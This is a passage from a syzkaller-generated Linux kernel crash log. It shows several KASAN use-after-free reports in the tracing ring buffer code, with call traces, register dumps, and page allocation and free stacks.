do_syscall_64+0x174/0x580 arch/x86/entry/syscall_64.c:94
entry_SYSCALL_64_after_hwframe+0x77/0x7f
Memory state around the buggy address:
ffff888119b6eb00: ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff
ffff888119b6eb80: ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff
>ffff888119b6ec00: ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff
^
ffff888119b6ec80: ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff
ffff888119b6ed00: ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff
==================================================================
==================================================================
BUG: KASAN: use-after-free in trace_raw_output_prep+0x1f9/0x240 kernel/trace/trace_output.c:339
Read of size 2 at addr ffff888119b6ec24 by task syz-executor390/5916
CPU: 0 UID: 0 PID: 5916 Comm: syz-executor390 Tainted: G B syzkaller #1 PREEMPT(full)
Tainted: [B]=BAD_PAGE
Hardware name: QEMU Standard PC (Q35 + ICH9, 2009), BIOS 1.16.3-debian-1.16.3-2 04/01/2014
Call Trace:
<TASK>
dump_stack_lvl+0xe8/0x150 lib/dump_stack.c:120
print_address_description+0x55/0x1e0 mm/kasan/report.c:378
print_report+0x58/0x70 mm/kasan/report.c:482
kasan_report+0x117/0x150 mm/kasan/report.c:595
trace_raw_output_prep+0x1f9/0x240 kernel/trace/trace_output.c:339
trace_raw_output_lock+0x47/0xd0 include/trace/events/lock.h:49
tracing_read_pipe+0x568/0xb50 kernel/trace/trace.c:5444
vfs_read+0x213/0xa80 fs/read_write.c:572
ksys_read+0x150/0x270 fs/read_write.c:716
do_syscall_x64 arch/x86/entry/syscall_64.c:63 [inline]
do_syscall_64+0x174/0x580 arch/x86/entry/syscall_64.c:94
entry_SYSCALL_64_after_hwframe+0x77/0x7f
RIP: 0033:0x7fadcfb36d9e
Code: 08 0f 85 f5 e2 ff ff 49 89 fb 48 89 f0 48 89 d7 48 89 ce 4c 89 c2 4d 89 ca 4c 8b 44 24 08 4c 8b 4c 24 10 4c 89 5c 24 08 0f 05 <c3> 90 41 57 41 56 4d 89 c6 41 55 4d 89 cd 41 54 55 53 48 83 ec 08
RSP: 002b:00007fadcfae0198 EFLAGS: 00000246 ORIG_RAX: 0000000000000000
RAX: ffffffffffffffda RBX: 00007fadcfae16c0 RCX: 00007fadcfb36d9e
RDX: 0000000000001000 RSI: 00007fadcfae0200 RDI: 0000000000000003
RBP: 00007fadcfae0200 R08: 0000000000000000 R09: 0000000000000000
R10: 0000000000000000 R11: 0000000000000246 R12: ffffffffffffffd0
R13: 0000000000000000 R14: 00007ffd4e5b1df0 R15: 00007ffd4e5b1ed8
</TASK>
The buggy address belongs to the physical page:
page: refcount:0 mapcount:0 mapping:0000000000000000 index:0xffff888119b6e000 pfn:0x119b6e
flags: 0x17ff00000000000(node=0|zone=2|lastcpupid=0x7ff)
raw: 017ff00000000000 ffffea00042b8f48 ffffea000466c608 0000000000000000
raw: ffff888119b6e000 0000000000000000 00000000ffffffff 0000000000000000
page dumped because: kasan: bad access detected
page_owner tracks the page as freed
page last allocated via order 0, migratetype Unmovable, gfp_mask 0x44dc0(GFP_KERNEL|__GFP_ZERO|__GFP_RETRY_MAYFAIL|__GFP_COMP), pid 5912, tgid 5912 (syz-executor390), ts 116313597429, free_ts 147804824956
set_page_owner include/linux/page_owner.h:32 [inline]
post_alloc_hook+0x1f9/0x250 mm/page_alloc.c:1859
prep_new_page mm/page_alloc.c:1867 [inline]
get_page_from_freelist+0x21fa/0x2270 mm/page_alloc.c:3946
__alloc_frozen_pages_noprof+0x18d/0x380 mm/page_alloc.c:5304
__alloc_pages_noprof+0x10/0x100 mm/page_alloc.c:5338
__alloc_pages_node_noprof include/linux/gfp.h:291 [inline]
alloc_pages_node_noprof include/linux/gfp.h:318 [inline]
alloc_cpu_data kernel/trace/ring_buffer.c:427 [inline]
__rb_allocate_pages+0x9f7/0x1330 kernel/trace/ring_buffer.c:2436
ring_buffer_resize+0x4e8/0x15e0 kernel/trace/ring_buffer.c:3270
__tracing_resize_ring_buffer+0x9c/0x310 kernel/trace/trace.c:4738
tracing_update_buffers+0x7b/0xb0 kernel/trace/trace.c:4977
system_enable_write+0x17e/0x350 kernel/trace/trace_events.c:2020
vfs_write+0x296/0xba0 fs/read_write.c:685
ksys_write+0x150/0x270 fs/read_write.c:739
do_syscall_x64 arch/x86/entry/syscall_64.c:63 [inline]
do_syscall_64+0x174/0x580 arch/x86/entry/syscall_64.c:94
entry_SYSCALL_64_after_hwframe+0x77/0x7f
page last free pid 5917 tgid 5912 stack trace:
reset_page_owner include/linux/page_owner.h:25 [inline]
__free_pages_prepare mm/page_alloc.c:1406 [inline]
__free_frozen_pages+0xbdb/0xcb0 mm/page_alloc.c:2950
free_buffer_page kernel/trace/ring_buffer.c:398 [inline]
ring_buffer_subbuf_order_set+0xeaa/0x14b0 kernel/trace/ring_buffer.c:7439
buffer_subbuf_size_write+0x1b3/0x250 kernel/trace/trace.c:8221
vfs_write+0x296/0xba0 fs/read_write.c:685
ksys_write+0x150/0x270 fs/read_write.c:739
do_syscall_x64 arch/x86/entry/syscall_64.c:63 [inline]
do_syscall_64+0x174/0x580 arch/x86/entry/syscall_64.c:94
entry_SYSCALL_64_after_hwframe+0x77/0x7f
Memory state around the buggy address:
ffff888119b6eb00: ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff
ffff888119b6eb80: ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff
>ffff888119b6ec00: ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff
^
ffff888119b6ec80: ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff
ffff888119b6ed00: ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff
==================================================================
==================================================================
BUG: KASAN: use-after-free in trace_raw_output_lock+0x63/0xd0 include/trace/events/lock.h:65
Read of size 8 at addr ffff888119b6ec34 by task syz-executor390/5916
CPU: 1 UID: 0 PID: 5916 Comm: syz-executor390 Tainted: G B syzkaller #1 PREEMPT(full)
Tainted: [B]=BAD_PAGE
Hardware name: QEMU Standard PC (Q35 + ICH9, 2009), BIOS 1.16.3-debian-1.16.3-2 04/01/2014
Call Trace:
<TASK>
dump_stack_lvl+0xe8/0x150 lib/dump_stack.c:120
print_address_description+0x55/0x1e0 mm/kasan/report.c:378
print_report+0x58/0x70 mm/kasan/report.c:482
kasan_report+0x117/0x150 mm/kasan/report.c:595
trace_raw_output_lock+0x63/0xd0 include/trace/events/lock.h:65
tracing_read_pipe+0x568/0xb50 kernel/trace/trace.c:5444
vfs_read+0x213/0xa80 fs/read_write.c:572
ksys_read+0x150/0x270 fs/read_write.c:716
do_syscall_x64 arch/x86/entry/syscall_64.c:63 [inline]
do_syscall_64+0x174/0x580 arch/x86/entry/syscall_64.c:94
entry_SYSCALL_64_after_hwframe+0x77/0x7f
RIP: 0033:0x7fadcfb36d9e
Code: 08 0f 85 f5 e2 ff ff 49 89 fb 48 89 f0 48 89 d7 48 89 ce 4c 89 c2 4d 89 ca 4c 8b 44 24 08 4c 8b 4c 24 10 4c 89 5c 24 08 0f 05 <c3> 90 41 57 41 56 4d 89 c6 41 55 4d 89 cd 41 54 55 53 48 83 ec 08
RSP: 002b:00007fadcfae0198 EFLAGS: 00000246 ORIG_RAX: 0000000000000000
RAX: ffffffffffffffda RBX: 00007fadcfae16c0 RCX: 00007fadcfb36d9e
RDX: 0000000000001000 RSI: 00007fadcfae0200 RDI: 0000000000000003
RBP: 00007fadcfae0200 R08: 0000000000000000 R09: 0000000000000000
R10: 0000000000000000 R11: 0000000000000246 R12: ffffffffffffffd0
R13: 0000000000000000 R14: 00007ffd4e5b1df0 R15: 00007ffd4e5b1ed8
</TASK>
The buggy address belongs to the physical page:
page: refcount:0 mapcount:0 mapping:0000000000000000 index:0xffff888119b6e000 pfn:0x119b6e
flags: 0x17ff00000000000(node=0|zone=2|lastcpupid=0x7ff)
raw: 017ff00000000000 ffffea00042b8f48 ffffea000466c608 0000000000000000
raw: ffff888119b6e000 0000000000000000 00000000ffffffff 0000000000000000
page dumped because: kasan: bad access detected
page_owner tracks the page as freed
page last allocated via order 0, migratetype Unmovable, gfp_mask 0x44dc0(GFP_KERNEL|__GFP_ZERO|__GFP_RETRY_MAYFAIL|__GFP_COMP), pid 5912, tgid 5912 (syz-executor390), ts 116313597429, free_ts 147804824956
set_page_owner include/linux/page_owner.h:32 [inline]
post_alloc_hook+0x1f9/0x250 mm/page_alloc.c:1859
prep_new_page mm/page_alloc.c:1867 [inline]
get_page_from_freelist+0x21fa/0x2270 mm/page_alloc.c:3946
__alloc_frozen_pages_noprof+0x18d/0x380 mm/page_alloc.c:5304
__alloc_pages_noprof+0x10/0x100 mm/page_alloc.c:5338
__alloc_pages_node_noprof include/linux/gfp.h:291 [inline]
alloc_pages_node_noprof include/linux/gfp.h:318 [inline]
alloc_cpu_data kernel/trace/ring_buffer.c:427 [inline]
__rb_allocate_pages+0x9f7/0x1330 kernel/trace/ring_buffer.c:2436
ring_buffer_resize+0x4e8/0x15e0 kernel/trace/ring_buffer.c:3270
__tracing_resize_ring_buffer+0x9c/0x310 kernel/trace/trace.c:4738
tracing_update_buffers+0x7b/0xb0 kernel/trace/trace.c:4977
system_enable_write+0x17e/0x350 kernel/trace/trace_events.c:2020
vfs_write+0x296/0xba0 fs/read_write.c:685
ksys_write+0x150/0x270 fs/read_write.c:739
do_syscall_x64 arch/x86/entry/syscall_64.c:63 [inline]
do_syscall_64+0x174/0x580 arch/x86/entry/syscall_64.c:94
entry_SYSCALL_64_after_hwframe+0x77/0x7f
page last free pid 5917 tgid 5912 stack trace:
reset_page_owner include/linux/page_owner.h:25 [inline]
__free_pages_prepare mm/page_alloc.c:1406 [inline]
__free_frozen_pages+0xbdb/0xcb0 mm/page_alloc.c:2950
free_buffer_page kernel/trace/ring_buffer.c:398 [inline]
ring_buffer_subbuf_order_set+0xeaa/0x14b0 kernel/trace/ring_buffer.c:7439
buffer_subbuf_size_write+0x1b3/0x250 kernel/trace/trace.c:8221
vfs_write+0x296/0xba0 fs/read_write.c:685
ksys_write+0x150/0x270 fs/read_write.c:739
do_syscall_x64 arch/x86/entry/syscall_64.c:63 [inline]
do_syscall_64+0x174/0x580 arch/x86/entry/syscall_64.c:94
entry_SYSCALL_64_after_hwframe+0x77/0x7f
Memory state around the buggy address:
ffff888119b6eb00: ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff
ffff888119b6eb80: ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff
>ffff888119b6ec00: ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff
^
ffff888119b6ec80: ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff
ffff888119b6ed00: ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff
==================================================================
==================================================================
BUG: KASAN: use-after-free in trace_raw_output_lock+0xc9/0xd0 include/trace/events/lock.h:65
Read of size 4 at addr ffff888119b6ec2c by task syz-executor390/5916
CPU: 1 UID: 0 PID: 5916 Comm: syz-executor390 Tainted: G B syzkaller #1 PREEMPT(full)
Tainted: [B]=BAD_PAGE
Hardware name: QEMU Standard PC (Q35 + ICH9, 2009), BIOS 1.16.3-debian-1.16.3-2 04/01/2014
Call Trace:
<TASK>
dump_stack_lvl+0xe8/0x150 lib/dump_stack.c:120
print_address_description+0x55/0x1e0 mm/kasan/report.c:378
print_report+0x58/0x70 mm/kasan/report.c:482
kasan_report+0x117/0x150 mm/kasan/report.c:595
trace_raw_output_lock+0xc9/0xd0 include/trace/events/lock.h:65
tracing_read_pipe+0x568/0xb50 kernel/trace/trace.c:5444
vfs_read+0x213/0xa80 fs/read_write.c:572
ksys_read+0x150/0x270 fs/read_write.c:716
do_syscall_x64 arch/x86/entry/syscall_64.c:63 [inline]
do_syscall_64+0x174/0x580 arch/x86/entry/syscall_64.c:94
entry_SYSCALL_64_after_hwframe+0x77/0x7f
RIP: 0033:0x7fadcfb36d9e
Code: 08 0f 85 f5 e2 ff ff 49 89 fb 48 89 f0 48 89 d7 48 89 ce 4c 89 c2 4d 89 ca 4c 8b 44 24 08 4c 8b 4c 24 10 4c 89 5c 24 08 0f 05 <c3> 90 41 57 41 56 4d 89 c6 41 55 4d 89 cd 41 54 55 53 48 83 ec 08
RSP: 002b:00007fadcfae0198 EFLAGS: 00000246 ORIG_RAX: 0000000000000000
RAX: ffffffffffffffda RBX: 00007fadcfae16c0 RCX: 00007fadcfb36d9e
RDX: 0000000000001000 RSI: 00007fadcfae0200 RDI: 0000000000000003
RBP: 00007fadcfae0200 R08: 0000000000000000 R09: 0000000000000000
R10: 0000000000000000 R11: 0000000000000246 R12: ffffffffffffffd0
R13: 0000000000000000 R14: 00007ffd4e5b1df0 R15: 00007ffd4e5b1ed8
</TASK>
The buggy address belongs to the physical page:
page: refcount:0 mapcount:0 mapping:0000000000000000 index:0xffff888119b6e000 pfn:0x119b6e
flags: 0x17ff00000000000(node=0|zone=2|lastcpupid=0x7ff)
raw: 017ff00000000000 ffffea00042b8f48 ffffea000466c608 0000000000000000
raw: ffff888119b6e000 0000000000000000 00000000ffffffff 0000000000000000
page dumped because: kasan: bad access detected
page_owner tracks the page as freed
page last allocated via order 0, migratetype Unmovable, gfp_mask 0x44dc0(GFP_KERNEL|__GFP_ZERO|__GFP_RETRY_MAYFAIL|__GFP_COMP), pid 5912, tgid 5912 (syz-executor390), ts 116313597429, free_ts 147804824956
set_page_owner include/linux/page_owner.h:32 [inline]
post_alloc_hook+0x1f9/0x250 mm/page_alloc.c:1859
prep_new_page mm/page_alloc.c:1867 [inline]
get_page_from_freelist+0x21fa/0x2270 mm/page_alloc.c:3946
__alloc_frozen_pages_noprof+0x18d/0x380 mm/page_alloc.c:5304
__alloc_pages_noprof+0x10/0x100 mm/page_alloc.c:5338
__alloc_pages_node_noprof include/linux/gfp.h:291 [inline]
alloc_pages_node_noprof include/linux/gfp.h:318 [inline]
alloc_cpu_data kernel/trace/ring_buffer.c:427 [inline]
__rb_allocate_pages+0x9f7/0x1330 kernel/trace/ring_buffer.c:2436
ring_buffer_resize+0x4e8/0x15e0 kernel/trace/ring_buffer.c:3270
__tracing_resize_ring_buffer+0x9c/0x310 kernel/trace/trace.c:4738
tracing_update_buffers+0x7b/0xb0 kernel/trace/trace.c:4977
system_enable_write+0x17e/0x350 kernel/trace/trace_events.c:2020
vfs_write+0x296/0xba0 fs/read_write.c:685
ksys_write+0x150/0x270 fs/read_write.c:739
do_syscall_x64 arch/x86/entry/syscall_64.c:63 [inline]
do_syscall_64+0x174/0x580 arch/x86/entry/syscall_64.c:94
entry_SYSCALL_64_after_hwframe+0x77/0x7f
page last free pid 5917 tgid 5912 stack trace:
reset_page_owner include/linux/page_owner.h:25 [inline]
__free_pages_prepare mm/page_alloc.c:1406 [inline]
__free_frozen_pages+0xbdb/0xcb0 mm/page_alloc.c:2950
free_buffer_page kernel/trace/ring_buffer.c:398 [inline]
ring_buffer_subbuf_order_set+0xeaa/0x14b0 kernel/trace/ring_buffer.c:7439
buffer_subbuf_size_write+0x1b3/0x250 kernel/trace/trace.c:8221
vfs_write+0x296/0xba0 fs/read_write.c:685
ksys_write+0x150/0x270 fs/read_write.c:739
do_syscall_x64 arch/x86/entry/syscall_64.c:63 [inline]
do_syscall_64+0x174/0x580 arch/x86/entry/syscall_64.c:94
entry_SYSCALL_64_after_hwframe+0x77/0x7f
Memory state around the buggy address:
ffff888119b6eb00: ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff
ffff888119b6eb80: ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff
>ffff888119b6ec00: ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff
^
ffff888119b6ec80: ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff
ffff888119b6ed00: ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff
==================================================================
==================================================================
BUG: KASAN: use-after-free in ignore_event+0x9c2/0xa60 kernel/trace/trace.c:2526
Read of size 2 at addr ffff888119b6ec24 by task syz-executor390/5916
CPU: 1 UID: 0 PID: 5916 Comm: syz-executor390 Tainted: G B syzkaller #1 PREEMPT(full)
Tainted: [B]=BAD_PAGE
Hardware name: QEMU Standard PC (Q35 + ICH9, 2009), BIOS 1.16.3-debian-1.16.3-2 04/01/2014
Call Trace:
<TASK>
dump_stack_lvl+0xe8/0x150 lib/dump_stack.c:120
print_address_description+0x55/0x1e0 mm/kasan/report.c:378
print_report+0x58/0x70 mm/kasan/report.c:482
kasan_report+0x117/0x150 mm/kasan/report.c:595
ignore_event+0x9c2/0xa60 kernel/trace/trace.c:2526
trace_event_printf+0xa7/0x170 kernel/trace/trace_output.c:356
trace_raw_output_lock+0x99/0xd0 include/trace/events/lock.h:49
tracing_read_pipe+0x568/0xb50 kernel/trace/trace.c:5444
vfs_read+0x213/0xa80 fs/read_write.c:572
ksys_read+0x150/0x270 fs/read_write.c:716
do_syscall_x64 arch/x86/entry/syscall_64.c:63 [inline]
do_syscall_64+0x174/0x580 arch/x86/entry/syscall_64.c:94
entry_SYSCALL_64_after_hwframe+0x77/0x7f
RIP: 0033:0x7fadcfb36d9e
Code: 08 0f 85 f5 e2 ff ff 49 89 fb 48 89 f0 48 89 d7 48 89 ce 4c 89 c2 4d 89 ca 4c 8b 44 24 08 4c 8b 4c 24 10 4c 89 5c 24 08 0f 05 <c3> 90 41 57 41 56 4d 89 c6 41 55 4d 89 cd 41 54 55 53 48 83 ec 08
RSP: 002b:00007fadcfae0198 EFLAGS: 00000246 ORIG_RAX: 0000000000000000
RAX: ffffffffffffffda RBX: 00007fadcfae16c0 RCX: 00007fadcfb36d9e
RDX: 0000000000001000 RSI: 00007fadcfae0200 RDI: 0000000000000003
RBP: 00007fadcfae0200 R08: 0000000000000000 R09: 0000000000000000
R10: 0000000000000000 R11: 0000000000000246 R12: ffffffffffffffd0
R13: 0000000000000000 R14: 00007ffd4e5b1df0 R15: 00007ffd4e5b1ed8
</TASK>
The buggy address belongs to the physical page:
page: refcount:0 mapcount:0 mapping:0000000000000000 index:0xffff888119b6e000 pfn:0x119b6e
flags: 0x17ff00000000000(node=0|zone=2|lastcpupid=0x7ff)
raw: 017ff00000000000 ffffea00042b8f48 ffffea000466c608 0000000000000000
raw: ffff888119b6e000 0000000000000000 00000000ffffffff 0000000000000000
page dumped because: kasan: bad access detected
page_owner tracks the page as freed
page last allocated via order 0, migratetype Unmovable, gfp_mask 0x44dc0(GFP_KERNEL|__GFP_ZERO|__GFP_RETRY_MAYFAIL|__GFP_COMP), pid 5912, tgid 5912 (syz-executor390), ts 116313597429, free_ts 147804824956
set_page_owner include/linux/page_owner.h:32 [inline]
post_alloc_hook+0x1f9/0x250 mm/page_alloc.c:1859
prep_new_page mm/page_alloc.c:1867 [inline]
get_page_from_freelist+0x21fa/0x2270 mm/page_alloc.c:3946
__alloc_frozen_pages_noprof+0x18d/0x380 mm/page_alloc.c:5304
__alloc_pages_noprof+0x10/0x100 mm/page_alloc.c:5338
__alloc_pages_node_noprof include/linux/gfp.h:291 [inline]
alloc_pages_node_noprof include/linux/gfp.h:318 [inline]
alloc_cpu_data kernel/trace/ring_buffer.c:427 [inline]
__rb_allocate_pages+0x9f7/0x1330 kernel/trace/ring_buffer.c:2436
ring_buffer_resize+0x4e8/0x15e0 kernel/trace/ring_buffer.c:3270
__tracing_resize_ring_buffer+0x9c/0x310 kernel/trace/trace.c:4738
tracing_update_buffers+0x7b/0xb0 kernel/trace/trace.c:4977
system_enable_write+0x17e/0x350 kernel/trace/trace_events.c:2020
vfs_write+0x296/0xba0 fs/read_write.c:685
ksys_write+0x150/0x270 fs/read_write.c:739
do_syscall_x64 arch/x86/entry/syscall_64.c:63 [inline]
do_syscall_64+0x174/0x580 arch/x86/entry/syscall_64.c:94
entry_SYSCALL_64_after_hwframe+0x77/0x7f
page last free pid 5917 tgid 5912 stack trace:
reset_page_owner include/linux/page_owner.h:25 [inline]
__free_pages_prepare mm/page_alloc.c:1406 [inline]
__free_frozen_pages+0xbdb/0xcb0 mm/page_alloc.c:2950
free_buffer_page kernel/trace/ring_buffer.c:398 [inline]
ring_buffer_subbuf_order_set+0xeaa/0x14b0 kernel/trace/ring_buffer.c:7439
buffer_subbuf_size_write+0x1b3/0x250 kernel/trace/trace.c:8221
vfs_write+0x296/0xba0 fs/read_write.c:685
ksys_write+0x150/0x270 fs/read_write.c:739
do_syscall_x64 arch/x86/entry/syscall_64.c:63 [inline]
do_syscall_64+0x174/0x580 arch/x86/entry/syscall_64.c:94
entry_SYSCALL_64_after_hwframe+0x77/0x7f
Memory state around the buggy address:
ffff888119b6eb00: ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff
ffff888119b6eb80: ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff
>ffff888119b6ec00: ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff
^
ffff888119b6ec80: ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff
ffff888119b6ed00: ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff
==================================================================
==================================================================
BUG: KASAN: use-after-free in string_nocheck lib/vsprintf.c:648 [inline]
BUG: KASAN: use-after-free in string+0x216/0x2d0 lib/vsprintf.c:730
Read of size 1 at addr ffff888119b6ec3c by task syz-executor390/5916
CPU: 1 UID: 0 PID: 5916 Comm: syz-executor390 Tainted: G B syzkaller #1 PREEMPT(full)
Tainted: [B]=BAD_PAGE
Hardware name: QEMU Standard PC (Q35 + ICH9, 2009), BIOS 1.16.3-debian-1.16.3-2 04/01/2014
Call Trace:
<TASK>
dump_stack_lvl+0xe8/0x150 lib/dump_stack.c:120
print_address_description+0x55/0x1e0 mm/kasan/report.c:378
print_report+0x58/0x70 mm/kasan/report.c:482
kasan_report+0x117/0x150 mm/kasan/report.c:595
string_nocheck lib/vsprintf.c:648 [inline]
string+0x216/0x2d0 lib/vsprintf.c:730
vsnprintf+0x74a/0xef0 lib/vsprintf.c:2945
seq_buf_vprintf+0xf0/0x1c0 lib/seq_buf.c:74
trace_seq_vprintf+0xd7/0x220 kernel/trace/trace_seq.c:175
trace_event_printf+0x110/0x170 kernel/trace/trace_output.c:360
trace_raw_output_lock+0x99/0xd0 include/trace/events/lock.h:49
tracing_read_pipe+0x568/0xb50 kernel/trace/trace.c:5444
vfs_read+0x213/0xa80 fs/read_write.c:572
ksys_read+0x150/0x270 fs/read_write.c:716
do_syscall_x64 arch/x86/entry/syscall_64.c:63 [inline]
do_syscall_64+0x174/0x580 arch/x86/entry/syscall_64.c:94
entry_SYSCALL_64_after_hwframe+0x77/0x7f
RIP: 0033:0x7fadcfb36d9e
Code: 08 0f 85 f5 e2 ff ff 49 89 fb 48 89 f0 48 89 d7 48 89 ce 4c 89 c2 4d 89 ca 4c 8b 44 24 08 4c 8b 4c 24 10 4c 89 5c 24 08 0f 05 <c3> 90 41 57 41 56 4d 89 c6 41 55 4d 89 cd 41 54 55 53 48 83 ec 08
RSP: 002b:00007fadcfae0198 EFLAGS: 00000246 ORIG_RAX: 0000000000000000
RAX: ffffffffffffffda RBX: 00007fadcfae16c0 RCX: 00007fadcfb36d9e
RDX: 0000000000001000 RSI: 00007fadcfae0200 RDI: 0000000000000003
RBP: 00007fadcfae0200 R08: 0000000000000000 R09: 0000000000000000
R10: 0000000000000000 R11: 0000000000000246 R12: ffffffffffffffd0
R13: 0000000000000000 R14: 00007ffd4e5b1df0 R15: 00007ffd4e5b1ed8
</TASK>
The buggy address belongs to the physical page:
page: refcount:0 mapcount:0 mapping:0000000000000000 index:0xffff888119b6e000 pfn:0x119b6e
flags: 0x17ff00000000000(node=0|zone=2|lastcpupid=0x7ff)
raw: 017ff00000000000 ffffea00042b8f48 ffffea000466c608 0000000000000000
raw: ffff888119b6e000 0000000000000000 00000000ffffffff 0000000000000000
page dumped because: kasan: bad access detected
page_owner tracks the page as freed
page last allocated via order 0, migratetype Unmovable, gfp_mask 0x44dc0(GFP_KERNEL|__GFP_ZERO|__GFP_RETRY_MAYFAIL|__GFP_COMP), pid 5912, tgid 5912 (syz-executor390), ts 116313597429, free_ts 147804824956
set_page_owner include/linux/page_owner.h:32 [inline]
post_alloc_hook+0x1f9/0x250 mm/page_alloc.c:1859
prep_new_page mm/page_alloc.c:1867 [inline]
get_page_from_freelist+0x21fa/0x2270 mm/page_alloc.c:3946
__alloc_frozen_pages_noprof+0x18d/0x380 mm/page_alloc.c:5304
__alloc_pages_noprof+0x10/0x100 mm/page_alloc.c:5338
__alloc_pages_node_noprof include/linux/gfp.h:291 [inline]
alloc_pages_node_noprof include/linux/gfp.h:318 [inline]
alloc_cpu_data kernel/trace/ring_buffer.c:427 [inline]
__rb_allocate_pages+0x9f7/0x1330 kernel/trace/ring_buffer.c:2436
ring_buffer_resize+0x4e8/0x15e0 kernel/trace/ring_buffer.c:3270
__tracing_resize_ring_buffer+0x9c/0x310 kernel/trace/trace.c:4738
tracing_update_buffers+0x7b/0xb0 kernel/trace/trace.c:4977
system_enable_write+0x17e/0x350 kernel/trace/trace_events.c:2020
vfs_write+0x296/0xba0 fs/read_write.c:685
ksys_write+0x150/0x270 fs/read_write.c:739
do_syscall_x64 arch/x86/entry/syscall_64.c:63 [inline]
do_syscall_64+0x174/0x580 arch/x86/entry/syscall_64.c:94
entry_SYSCALL_64_after_hwframe+0x77/0x7f
page last free pid 5917 tgid 5912 stack trace:
reset_page_owner include/linux/page_owner.h:25 [inline]
__free_pages_prepare mm/page_alloc.c:1406 [inline]
__free_frozen_pages+0xbdb/0xcb0 mm/page_alloc.c:2950
free_buffer_page kernel/trace/ring_buffer.c:398 [inline]
ring_buffer_subbuf_order_set+0xeaa/0x14b0 kernel/trace/ring_buffer.c:7439
buffer_subbuf_size_write+0x1b3/0x250 kernel/trace/trace.c:8221
vfs_write+0x296/0xba0 fs/read_write.c:685
ksys_write+0x150/0x270 fs/read_write.c:739
do_syscall_x64 arch/x86/entry/syscall_64.c:63 [inline]
do_syscall_64+0x174/0x580 arch/x86/entry/syscall_64.c:94
entry_SYSCALL_64_after_hwframe+0x77/0x7f
Memory state around the buggy address:
ffff888119b6eb00: ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff
ffff888119b6eb80: ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff
>ffff888119b6ec00: ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff
^
ffff888119b6ec80: ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff
ffff888119b6ed00: ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff
==================================================================
==================================================================
BUG: KASAN: use-after-free in string_nocheck lib/vsprintf.c:648 [inline]
BUG: KASAN: use-after-free in string+0x216/0x2d0 lib/vsprintf.c:730
Read of size 1 at addr ffff888119b6ec3d by task syz-executor390/5916
CPU: 1 UID: 0 PID: 5916 Comm: syz-executor390 Tainted: G B syzkaller #1 PREEMPT(full)
Tainted: [B]=BAD_PAGE
Hardware name: QEMU Standard PC (Q35 + ICH9, 2009), BIOS 1.16.3-debian-1.16.3-2 04/01/2014
Call Trace:
<TASK>
dump_stack_lvl+0xe8/0x150 lib/dump_stack.c:120
print_address_description+0x55/0x1e0 mm/kasan/report.c:378
print_report+0x58/0x70 mm/kasan/report.c:482
kasan_report+0x117/0x150 mm/kasan/report.c:595
string_nocheck lib/vsprintf.c:648 [inline]
string+0x216/0x2d0 lib/vsprintf.c:730
vsnprintf+0x74a/0xef0 lib/vsprintf.c:2945
seq_buf_vprintf+0xf0/0x1c0 lib/seq_buf.c:74
trace_seq_vprintf+0xd7/0x220 kernel/trace/trace_seq.c:175
trace_event_printf+0x110/0x170 kernel/trace/trace_output.c:360
trace_raw_output_lock+0x99/0xd0 include/trace/events/lock.h:49
tracing_read_pipe+0x568/0xb50 kernel/trace/trace.c:5444
vfs_read+0x213/0xa80 fs/read_write.c:572
ksys_read+0x150/0x270 fs/read_write.c:716
do_syscall_x64 arch/x86/entry/syscall_64.c:63 [inline]
do_syscall_64+0x174/0x580 arch/x86/entry/syscall_64.c:94
entry_SYSCALL_64_after_hwframe+0x77/0x7f
RIP: 0033:0x7fadcfb36d9e
Code: 08 0f 85 f5 e2 ff ff 49 89 fb 48 89 f0 48 89 d7 48 89 ce 4c 89 c2 4d 89 ca 4c 8b 44 24 08 4c 8b 4c 24 10 4c 89 5c 24 08 0f 05 <c3> 90 41 57 41 56 4d 89 c6 41 55 4d 89 cd 41 54 55 53 48 83 ec 08
RSP: 002b:00007fadcfae0198 EFLAGS: 00000246 ORIG_RAX: 0000000000000000
RAX: ffffffffffffffda RBX: 00007fadcfae16c0 RCX: 00007fadcfb36d9e
RDX: 0000000000001000 RSI: 00007fadcfae0200 RDI: 0000000000000003
RBP: 00007fadcfae0200 R08: 0000000000000000 R09: 0000000000000000
R10: 0000000000000000 R11: 0000000000000246 R12: ffffffffffffffd0
R13: 0000000000000000 R14: 00007ffd4e5b1df0 R15: 00007ffd4e5b1ed8
</TASK>
The buggy address belongs to the physical page:
page: refcount:0 mapcount:0 mapping:0000000000000000 index:0xffff888119b6e000 pfn:0x119b6e
flags: 0x17ff00000000000(node=0|zone=2|lastcpupid=0x7ff)
raw: 017ff00000000000 ffffea00042b8f48 ffffea000466c608 0000000000000000
raw: ffff888119b6e000 0000000000000000 00000000ffffffff 0000000000000000
page dumped because: kasan: bad access detected
page_owner tracks the page as freed
page last allocated via order 0, migratetype Unmovable, gfp_mask 0x44dc0(GFP_KERNEL|__GFP_ZERO|__GFP_RETRY_MAYFAIL|__GFP_COMP), pid 5912, tgid 5912 (syz-executor390), ts 116313597429, free_ts 147804824956
set_page_owner include/linux/page_owner.h:32 [inline]
